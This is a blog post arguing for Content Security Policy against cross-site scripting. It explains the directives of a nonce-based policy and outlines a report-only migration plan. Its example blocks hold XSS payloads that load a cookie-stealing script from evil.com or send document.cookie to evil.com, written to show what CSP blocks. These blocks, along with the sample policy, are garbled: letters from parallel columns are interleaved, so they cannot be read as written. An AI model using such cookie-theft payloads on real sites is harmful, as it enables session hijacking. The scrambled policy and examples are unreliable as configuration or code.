Let me be blunt: if you’re not running Content Security Policy on your website, you’re leaving the front door wide open for Cross-Site Scripting (XSS) attacks. And no, input sanitization isn’t enough. It never has been.

I’ve seen countless security audit reports where everything looks great on paper — input validation, output encoding, WAF rules — but one missing CSP header turns all of that into a suggestion rather than a guarantee.

What CSP Actually Does (Without the Jargon)

Think of CSP as a bouncer at a club. Your website tells the browser: “Here’s a list of exactly who’s allowed in. Everyone else? Turn them away.”

Specifically, CSP controls which scripts, styles, images, fonts, and other resources the browser is allowed to load. When an attacker injects a malicious <script> tag into your page, CSP looks at it and says, “Yeah, you’re not on the list” — and refuses to execute it.

That’s it. That’s the whole thing. It doesn’t try to detect bad scripts. It only allows known-good ones. It’s a whitelist approach, and it works incredibly well because it doesn’t matter how clever the attacker’s payload is. If it’s not on the list, it doesn’t run.

Why Input Sanitization Keeps Failing

Here’s the problem with the traditional approach: you’re trying to block bad input. But attackers keep finding new ways to sneak past filters. Remember when people thought stripping <script> tags was enough? Then came JavaScript event handlers like onerror, onload, onmouseover. Then came SVG-based attacks. Then came template injection. The list never ends.

CSP sidesteps this entirely. It doesn’t care what the input looks like. It cares where the script is being loaded from.

A Y B n o r u o a r w t s t C e a S r c P k r e s e r a s y p i s o n : n j s e s e c c : t r s i N : p a t h < - . s s c r r c i p ' t s e s l r f c ' = " h h t t t t p p s s : : / / / / c e d v n i . l e . x c a o m m p / l s e t . e c a o l m - c o o k i e s . j s " > < / s c r i p t >

Even if the attacker finds a way to inject an inline script:

A Y B n o r u o a r w t s t C e a S r c P k r e s e r a s y p i s o n : n j s e s e c c : t r s i S : p t t i < - l s s l c r r c n i a p ' h t s . > e d l o f c ' u m ( e n n o t . ' l u o n c s a a t f i e o - n i = n ' l h i t n t e p ' s ) : / / e v i l . c o m ? c = ' + d o c u m e n t . c o o k i e < / s c r i p t >

A Real CSP Policy (Not a Toy Example)

Most CSP tutorials show you something like default-src 'self' and call it a day. That’s fine for a demo, but let’s look at what a realistic policy for a modern web application looks like:

C o n d s s i f c f b f u t e c t m o o r a o p e f r y g n n a s r g n a i l - t n m e m r t u p e s - e e - - a - l t - r s c - u a d S t - s c r t a r c e e - s r c - n i t - c s r c ' s c i i u r c s ' r e ' o n r c ' e s c s s n s i ' s l e t e e t ' s e f l ' o l ' c y s e l ' f s r f s u - e l f ' e s ' e r P l f ' d l ; l e o f ' a h f ' f - l ' ' t t ' n ' r i ; ' u a t o ; e c n n : p h n q y o s s t e u : n a h : t ' e c f t / p ; s e e t / s t - - p f : s a i s o / 1 n : n / b l ; t a 2 i s p c n . i 3 e g . d ' s e 4 ; t x e a a 5 t m f i p 6 c l g . e 7 c . h o c 8 m o i ; m 9 j h 0 t ' t p ' s s : t / r / i w c w t w - . d g y o n o a g m l i e c - ' a ; n a l y t i c s . c o m ;

Let me break down what each line actually does and why it’s there:

default-src ‘self’ — This is your fallback. Any resource type not specifically covered by another directive falls back to this. Setting it to ‘self’ means “only load from our own domain by default.” This is your safety net.

script-src — This is where the magic happens. 'nonce-a1b2c3d4...' means every <script> tag must have a matching nonce attribute that changes on every request. Even if an attacker injects a script tag, they can’t guess the nonce. 'strict-dynamic' is a companion that says “trust scripts loaded by trusted scripts” — so your Google Analytics tag loaded via nonce can, in turn, load additional scripts.

style-src ‘unsafe-inline’ — Yeah, I know, unsafe-inline is supposed to be bad. But for styles, the risk is significantly lower than scripts. CSS can’t steal cookies or make API calls. It can mess up your layout (which is a CSS injection attack), but it’s not the same threat level. If you want to be strict, you can use nonces or hashes here too, but most teams start with unsafe-inline for styles.

img-src ‘self’ data: https: — Images from your own domain, data URIs (for inline SVGs and base64 images), and any HTTPS source. The https: might seem permissive, but images can’t execute code, so the risk is minimal.

connect-src — This controls where JavaScript can send requests (fetch, XMLHttpRequest, WebSocket). You want this locked down because this is how attackers exfiltrate data. Only allow your own API and any analytics endpoints you actually use.

frame-ancestors ’none’ — This prevents anyone from embedding your site in an iframe. It’s the modern version of X-Frame-Options: DENY. If you’ve ever seen clickjacking attacks where your login form gets loaded invisibly inside an attacker’s page, this stops it cold.

base-uri ‘self’ — Prevents attackers from changing the base URL of your page, which could redirect all relative URLs to their server.

form-action ‘self’ — Prevents forms from being submitted to external URLs. Stops a class of phishing attacks.

upgrade-insecure-requests — Automatically upgrades any HTTP request to HTTPS. Simple but effective.

The Two Headers You Need to Know

There are two CSP headers:

  1. Content-Security-Policy — Enforcement mode. The browser blocks violations.
  2. Content-Security-Policy-Report-Only — Reporting mode. The browser logs violations but doesn’t block anything.

Always start with report-only. Always. I don’t care how confident you are in your policy. Deploy it in report-only mode, collect violation reports for a week, fix the issues, then switch to enforcement.

The Migration Path Nobody Talks About

Here’s what actually works in practice:

Week 1: Deploy a strict policy in report-only mode. Yes, you’ll get hundreds of violations. That’s fine. You expected that.

Week 2: Categorize the violations. Most will fall into these buckets:

  • Third-party scripts you forgot about (analytics, chat widgets, A/B testing tools)
  • Inline scripts from your CMS or framework
  • Lazy-loaded resources

Week 3: Fix the code. Move inline scripts to external files. Add nonces. Update your directive list. Deploy the updated policy in report-only mode again.

Week 4: If violations are near zero, switch to enforcement. Keep report-only running alongside it to catch anything new.

Ongoing: Keep the report-uri endpoint active. New violations will pop up whenever you add a new third-party integration or a developer adds an inline script.

What About Legacy Applications?

If you’re working with a WordPress site from 2017 or a jQuery-heavy app, CSP is harder. I’m not going to pretend it isn’t. Legacy apps use inline scripts everywhere, and refactoring them is a massive undertaking.

The pragmatic approach for legacy apps:

  1. Start with script-src 'unsafe-inline' 'self' — Yes, this is weak, but it’s better than nothing because you still get default-src, frame-ancestors, and connect-src protections.

  2. Gradually extract inline scripts into external files. One at a time. No big bang rewrite.

  3. Once all inline scripts are external, switch to nonce-based script-src.

  4. Celebrate. You’ve just made XSS significantly harder.

Test Your Current Setup

If you’re reading this and thinking “I should probably check my headers,” you can use headertest.com to scan your site. It’ll tell you if you have a CSP header, what it looks like, and what’s missing.

No signup, no API key. Just paste your URL.

What’s Next?

Now that you understand what CSP is and why it matters, the next step is actually implementing it. I’ve written a step-by-step implementation guide that walks through the whole process — from your first report-only policy to a strict nonce-based setup.